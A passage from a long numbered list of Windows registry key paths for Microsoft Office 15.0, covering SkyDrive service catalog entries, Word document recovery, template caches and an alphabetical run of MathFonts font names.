  1188. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1189. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1190. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1191. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1192. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1193. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1194. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1195. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1196. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1197. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1198. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1199. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1200. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1201. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1202. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1203. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1204. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1205. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1206. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1207. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1208. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1209. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1210. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1211. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\234901F",
  1212. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\234901F\\234901F",
  1213. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1214. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1215. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1216. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1217. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
  1218. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1219. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1220. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1221. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1222. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1223. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1224. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1225. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1226. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1227. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1228. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1229. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1230. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1231. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1232. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1233. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1234. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1235. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1236. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1237. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1238. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1239. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1240. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1241. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1242. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1243. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1244. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1245. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1246. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1247. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1248. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1249. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1250. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1251. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1252. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1253. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1254. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1255. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1256. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1257. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1258. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1259. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1260. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1261. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1262. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1263. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1264. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1265. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1266. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1267. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1268. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1269. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1270. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1271. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1272. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1273. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1274. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\234901F\\2455A88",
  1275. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Arial Unicode MS",
  1276. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Batang",
  1277. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@BatangChe",
  1278. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DFKai-SB",
  1279. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Dotum",
  1280. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DotumChe",
  1281. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@FangSong",
  1282. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gulim",
  1283. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GulimChe",
  1284. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gungsuh",
  1285. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GungsuhChe",
  1286. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@KaiTi",
  1287. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Malgun Gothic",
  1288. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo",
  1289. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo UI",
  1290. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei",
  1291. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei UI",
  1292. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei",
  1293. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei UI",
  1294. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU",
  1295. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS",
  1296. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS-ExtB",
  1297. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU-ExtB",
  1298. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Gothic",
  1299. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Mincho",
  1300. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PGothic",
  1301. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PMincho",
  1302. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS UI Gothic",
  1303. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@NSimSun",
  1304. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU",
  1305. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU-ExtB",
  1306. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimHei",
  1307. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun",
  1308. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun-ExtB",
  1309. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Agency FB",
  1310. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aharoni",
  1311. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Algerian",
  1312. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Andalus",
  1313. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Angsana New",
  1314. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\AngsanaUPC",
  1315. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aparajita",
  1316. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arabic Typesetting",
  1317. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial",
  1318. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Black",
  1319. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Narrow",
  1320. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Rounded MT Bold",
  1321. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Unicode MS",
  1322. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Baskerville Old Face",
  1323. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Batang",
  1324. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BatangChe",
  1325. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bauhaus 93",
  1326. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bell MT",
  1327. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB",
  1328. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB Demi",
  1329. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bernard MT Condensed",
  1330. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Blackadder ITC",
  1331. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT",
  1332. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Black",
  1333. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Condensed",
  1334. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Poster Compressed",
  1335. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Book Antiqua",
  1336. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookman Old Style",
  1337. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookshelf Symbol 7",
  1338. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bradley Hand ITC",
  1339. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Britannic Bold",
  1340. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Broadway",
  1341. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Browallia New",
  1342. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BrowalliaUPC",
  1343. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Brush Script MT",
  1344. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri",
  1345. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri Light",
  1346. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Californian FB",
  1347. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calisto MT",
  1348. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria",
  1349. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria Math",
  1350. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Candara",
  1351. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Castellar",
  1352. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Centaur",
  1353. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century",
  1354. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Gothic",
  1355. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Schoolbook",
  1356. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Chiller",
  1357. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Colonna MT",
  1358. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Comic Sans MS",
  1359. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Consolas",
  1360. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Constantia",
  1361. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cooper Black",
  1362. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Bold",
  1363. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Light",
  1364. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Corbel",
  1365. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cordia New",
  1366. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\CordiaUPC",
  1367. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Courier New",
  1368. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Curlz MT",
  1369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DaunPenh",
  1370. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\David",
  1371. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DFKai-SB",
  1372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DilleniaUPC",
  1373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DokChampa",
  1374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Dotum",
  1375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DotumChe",
  1376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ebrima",
  1377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Edwardian Script ITC",
  1378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Elephant",
  1379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Engravers MT",
  1380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Bold ITC",
  1381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Demi ITC",
  1382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Light ITC",
  1383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Medium ITC",
  1384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Estrangelo Edessa",
  1385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\EucrosiaUPC",
  1386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Euphemia",
  1387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FangSong",
  1388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Felix Titling",
  1389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Footlight MT Light",
  1390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Forte",
  1391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Book",
  1392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi",
  1393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi Cond",
  1394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Heavy",
  1395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium",
  1396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium Cond",
  1397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FrankRuehl",
  1398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FreesiaUPC",
  1399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Freestyle Script",
  1400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\French Script MT",
  1401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gabriola",
  1402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gadugi",
  1403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Garamond",
  1404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gautami",
  1405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Georgia",
  1406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gigi",
  1407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT",
  1408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Condensed",
  1409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Ext Condensed Bold",
  1410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold",
  1411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold Condensed",
  1412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gisha",
  1413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gloucester MT Extra Condensed",
  1414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Old Style",
